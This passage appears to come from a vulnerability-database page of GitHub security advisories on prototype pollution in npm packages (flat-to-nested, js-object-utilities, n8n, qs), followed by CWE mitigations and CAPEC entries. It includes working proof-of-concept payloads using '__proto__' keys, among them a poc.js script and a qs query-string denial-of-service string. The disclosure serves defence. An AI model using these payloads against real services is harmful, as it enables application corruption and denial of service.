console.log(({}).children); // => [ { id: 1, polluted: 'PWNED' } ] A freshly-created, unrelated object {} now carries an attacker-controlled children property. ({}).toString === Object.prototype.toString remains true, so existing methods are untouched (stealthy). If the consumer configures a custom children key, that arbitrary prototype property is polluted instead. ```

### Impact

Prototype pollution (CWE-1321). Any service that builds a tree from attacker-influenced flat records (the package's core purpose — e.g. records derived from a DB/REST/user input) can have Object.prototype polluted. Consequences range from application-logic corruption and denial of service to serving as a gadget toward privilege escalation or RCE depending on downstream sinks. No special privileges or user interaction required; the malicious value is ordinary input data.

### Suggested fix

Use prototype-less lookup tables so inherited keys like proto cannot be reached: var temp = Object.create(null); var pendingChildOf = Object.create(null); (Optionally also reject id/parent values equal to proto, constructor, or prototype.) Verified: with Object.create(null) for both temp and pendingChildOf, the PoC no longer pollutes Object.prototype and normal nesting output is unchanged. A patch with a regression test is ready.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flat-to-nested"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55091"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T20:47:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n  `convert()` builds the nested tree by using each flat record\u0027s `id` and `parent` field values directly as object keys, with no guard against `__proto__` / `constructor` / `prototype`. A record whose `parent` is the string `\"__proto__\"` makes `temp[parent]` resolve to `Object.prototype`, and the following `initPush(...)` writes attacker-controlled data onto the global prototype. Any application that passes attacker-influenced records to `convert()` is affected, and the base prototype methods stay intact so the pollution is stealthy.\n\n  ### Details\n  In `index.js`, `convert()` (`FlatToNested.prototype.convert`):\n\n  - `temp = {}` (line 45) and `pendingChildOf = {}` (line 46) are plain objects, so they inherit from `Object.prototype`.\n  - For each record, `parent = flatEl[this.config.parent]` (line 51) is taken verbatim from input.\n  - Line 57: `if (temp[parent] !== undefined)` \u2014 when `parent === \"__proto__\"`, `temp[\"__proto__\"]` resolves via the prototype chain to `Object.prototype`, which is `!== undefined`, so the\n  branch is taken.\n  - Line 59: `initPush(this.config.children, temp[parent], flatEl)` \u2192 effectively `initPush(\"children\", Object.prototype, flatEl)`.\n  - `initPush` (lines 4-9): `Object.prototype[\"children\"] = []` then `Object.prototype[\"children\"].push(flatEl)` \u2014 **attacker-controlled data is written onto the global `Object.prototype`.**\n\n  There is no sanitization of `id` / `parent` anywhere; they flow straight into `temp[id]`, `temp[parent]`, and `pendingChildOf[parent]` as dynamic keys.\n\n  ### PoC\n  ```js\n  const FlatToNested = require(\u0027flat-to-nested\u0027);\n\n  new FlatToNested().convert([\n    { id: 1, parent: \u0027__proto__\u0027, polluted: \u0027PWNED\u0027 }\n  ]);\n\n  console.log(({}).children); // =\u003e [ { id: 1, polluted: \u0027PWNED\u0027 } ]\n  A freshly-created, unrelated object {} now carries an attacker-controlled children property. ({}).toString === Object.prototype.toString remains true, so existing methods are untouched (stealthy). If the consumer configures a custom children key, that arbitrary prototype property is polluted instead.\n ```\n \n  ### Impact\n\n  Prototype pollution (CWE-1321). Any service that builds a tree from attacker-influenced flat records (the package\u0027s core purpose \u2014 e.g. records derived from a DB/REST/user input) can have Object.prototype polluted. Consequences range from application-logic corruption and denial of service to serving as a gadget toward privilege escalation or RCE depending on downstream sinks. No special privileges or user interaction required; the malicious value is ordinary input data.\n\n  ### Suggested fix\n\n  Use prototype-less lookup tables so inherited keys like __proto__ cannot be reached:\n  var temp = Object.create(null);\n  var pendingChildOf = Object.create(null);\n  (Optionally also reject id/parent values equal to __proto__, constructor, or prototype.) Verified: with Object.create(null) for both temp and pendingChildOf, the PoC no longer pollutes Object.prototype and normal nesting output is unchanged. A patch with a regression test is ready.",
  "id": "GHSA-hp36-v28f-w3r4",
  "modified": "2026-06-19T20:47:52Z",
  "published": "2026-06-19T20:47:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/joaonuno/flat-to-nested-js/security/advisories/GHSA-hp36-v28f-w3r4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/joaonuno/flat-to-nested-js/commit/680a5ebe1194edda16fa93baaa56ff14fe0e3d7f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/joaonuno/flat-to-nested-js"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "flat-to-nested: Prototype pollution in flat-to-nested convert() via __proto__ parent/id key"
}

GHSA-HPQF-M68J-2PFX

Vulnerability from github – Published: 2025-04-07 18:52 – Updated: 2025-04-14 22:11
VLAI
Summary
js-object-utilities Vulnerable to Prototype Pollution
Details

Vulnerability type: Prototype Pollution

Affected Package: * Product: js-object-utilities * Version: 2.2.0

Remedy:

Update package to version 2.2.1.

Vulnerability Location(s):

at module.exports (/node_modules/js-object-utilities/dist/set.js:16:29)

Description:

The latest version of js-object-utilities (2.2.0), (previous versions are also affected), is vulnerable to Prototype Pollution through the entry function(s) lib.set. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

PoC:

// install the package with the latest version
~$ npm install js-object-utilities@2.2.0
// run the script mentioned below 
~$ node poc.js
//The expected output (if the code still vulnerable) is below. 
// Note that the output may slightly differs from function to another.
Before Attack:  {}
After Attack:  {"pollutedKey":123}

// poc.js
(async () => {
    const lib = await import('js-object-utilities');
    var someObj = {}
    console.log("Before Attack: ", JSON.stringify({}.__proto__));
    try {
        // for multiple functions, uncomment only one for each execution.
        Reflect.apply(lib.set, {}, [someObj, "__proto__.pollutedKey", 123]);
    } catch (e) { }
    console.log("After Attack: ", JSON.stringify({}.__proto__));
    delete Object.prototype.pollutedKey;
})();

Reporter Credit:

Tariq Hawis

Severity
7.0 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "js-object-utilities"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-28269"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-07T18:52:04Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "**Vulnerability type:**\nPrototype Pollution\n\n**Affected Package:**\n* Product: js-object-utilities\n* Version: 2.2.0\n\n**Remedy:**\n\nUpdate package to version 2.2.1.\n\n**Vulnerability Location(s):**\n```js\nat module.exports (/node_modules/js-object-utilities/dist/set.js:16:29)\n```\n\n**Description:**\n\nThe latest version of `js-object-utilities (2.2.0)`, (previous versions are also affected), is vulnerable to Prototype Pollution through the entry function(s) `lib.set`. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.\n\nMoreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application\u0027s context.\n\n**PoC:**\n\n```bash\n// install the package with the latest version\n~$ npm install js-object-utilities@2.2.0\n// run the script mentioned below \n~$ node poc.js\n//The expected output (if the code still vulnerable) is below. \n// Note that the output may slightly differs from function to another.\nBefore Attack:  {}\nAfter Attack:  {\"pollutedKey\":123}\n```\n\n```js\n// poc.js\n(async () =\u003e {\n    const lib = await import(\u0027js-object-utilities\u0027);\n    var someObj = {}\n    console.log(\"Before Attack: \", JSON.stringify({}.__proto__));\n    try {\n        // for multiple functions, uncomment only one for each execution.\n        Reflect.apply(lib.set, {}, [someObj, \"__proto__.pollutedKey\", 123]);\n    } catch (e) { }\n    console.log(\"After Attack: \", JSON.stringify({}.__proto__));\n    delete Object.prototype.pollutedKey;\n})();\n```\n\n**Reporter Credit:**\n\nTariq Hawis",
  "id": "GHSA-hpqf-m68j-2pfx",
  "modified": "2025-04-14T22:11:03Z",
  "published": "2025-04-07T18:52:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rrainn/js-object-utilities/security/advisories/GHSA-hpqf-m68j-2pfx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rrainn/js-object-utilities/commit/05ca694207270b7de275767f3fc93a2a643692a7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rrainn/js-object-utilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "js-object-utilities Vulnerable to Prototype Pollution"
}

GHSA-HQR4-H3XV-9M3R

Vulnerability from github – Published: 2026-04-29 21:25 – Updated: 2026-05-08 01:31
VLAI
Summary
n8n has XML Node Prototype Pollution that to RCE
Details

Impact

An authenticated user with permission to create or modify workflows could achieve global prototype pollution via the XML Node leading to RCE when combined with other nodes exploiting the prototype pollution.

Patches

The issue has been fixed in n8n versions 1.123.32, 2.17.4, and 2.18.1. Users should upgrade to one of these versions or later to remediate the vulnerability.

Workarounds

If upgrading is not immediately possible, administrators should consider the following temporary mitigations: - Limit workflow creation and editing permissions to fully trusted users only. - Disable the XML node by adding n8n-nodes-base.xml to the NODES_EXCLUDE environment variable.

These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
9.4 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.18.0"
            },
            {
              "fixed": "2.18.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.17.0"
            },
            {
              "fixed": "2.17.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.123.32"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42232"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-29T21:25:53Z",
    "nvd_published_at": "2026-05-04T19:16:05Z",
    "severity": "CRITICAL"
  },
  "details": "## Impact\nAn authenticated user with permission to create or modify workflows could achieve global prototype pollution via the XML Node leading to RCE when combined with other nodes exploiting the prototype pollution.\n\n## Patches\nThe issue has been fixed in n8n versions 1.123.32, 2.17.4, and 2.18.1. Users should upgrade to one of these versions or later to remediate the vulnerability.\n\n## Workarounds\nIf upgrading is not immediately possible, administrators should consider the following temporary mitigations:\n- Limit workflow creation and editing permissions to fully trusted users only.\n- Disable the XML node by adding `n8n-nodes-base.xml` to the `NODES_EXCLUDE` environment variable.\n\nThese workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.",
  "id": "GHSA-hqr4-h3xv-9m3r",
  "modified": "2026-05-08T01:31:42Z",
  "published": "2026-04-29T21:25:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-hqr4-h3xv-9m3r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42232"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/n8n-io/n8n"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "n8n has XML Node Prototype Pollution that to RCE"
}

GHSA-HRPP-H998-J3PP

Vulnerability from github – Published: 2022-11-27 00:30 – Updated: 2025-04-29 15:41
VLAI
Summary
qs vulnerable to Prototype Pollution
Details

qs before 6.10.3 allows attackers to cause a Node process hang because an __ proto__ key can be used. In many typical web framework use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000. The fix was backported to qs 6.9.7, 6.8.3, 6.7.3, 6.6.1, 6.5.3, 6.4.1, 6.3.3, and 6.2.4.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "qs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.10.0"
            },
            {
              "fixed": "6.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "qs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.9.0"
            },
            {
              "fixed": "6.9.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "qs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.8.0"
            },
            {
              "fixed": "6.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "qs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.7.0"
            },
            {
              "fixed": "6.7.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "qs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.6.0"
            },
            {
              "fixed": "6.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "qs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.5.0"
            },
            {
              "fixed": "6.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "qs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.4.0"
            },
            {
              "fixed": "6.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "qs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.3.0"
            },
            {
              "fixed": "6.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "qs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-24999"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-06T14:32:46Z",
    "nvd_published_at": "2022-11-26T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "qs before 6.10.3 allows attackers to cause a Node process hang because an `__ proto__` key can be used. In many typical web framework use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as `a[__proto__]=b\u0026a[__proto__]\u0026a[length]=100000000`. The fix was backported to qs 6.9.7, 6.8.3, 6.7.3, 6.6.1, 6.5.3, 6.4.1, 6.3.3, and 6.2.4.",
  "id": "GHSA-hrpp-h998-j3pp",
  "modified": "2025-04-29T15:41:43Z",
  "published": "2022-11-27T00:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24999"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ljharb/qs/pull/428"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ljharb/qs/commit/4310742efbd8c03f6495f07906b45213da0a32ec"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ljharb/qs/commit/727ef5d34605108acb3513f72d5435972ed15b68"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ljharb/qs/commit/73205259936317b40f447c5cdb71c5b341848e1b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ljharb/qs/commit/8b4cc14cda94a5c89341b77e5fe435ec6c41be2d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ljharb/qs/commit/ba24e74dd17931f825adb52f5633e48293b584e1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ljharb/qs/commit/e799ba57e573a30c14b67c1889c7c04d508b9105"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ljharb/qs/commit/ed0f5dcbef4b168a8ae299d78b1e4a2e9b1baf1f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ljharb/qs/commit/f945393cfe442fe8c6e62b4156fd35452c0686ee"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ljharb/qs/commit/fc3682776670524a42e19709ec4a8138d0d7afda"
    },
    {
      "type": "WEB",
      "url": "https://github.com/expressjs/express/releases/tag/4.17.3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ljharb/qs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8tz/CVE-2022-24999"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00039.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20230908-0005"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "qs vulnerable to Prototype Pollution"
}
Mitigation
Implementation

By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.

Mitigation
Architecture and Design

By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.

Mitigation
Implementation

Strategy: Input Validation

When handling untrusted objects, validating using a schema can be used.

Mitigation
Implementation

By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.

Mitigation
Implementation

Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels

An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

← Back to the CWE list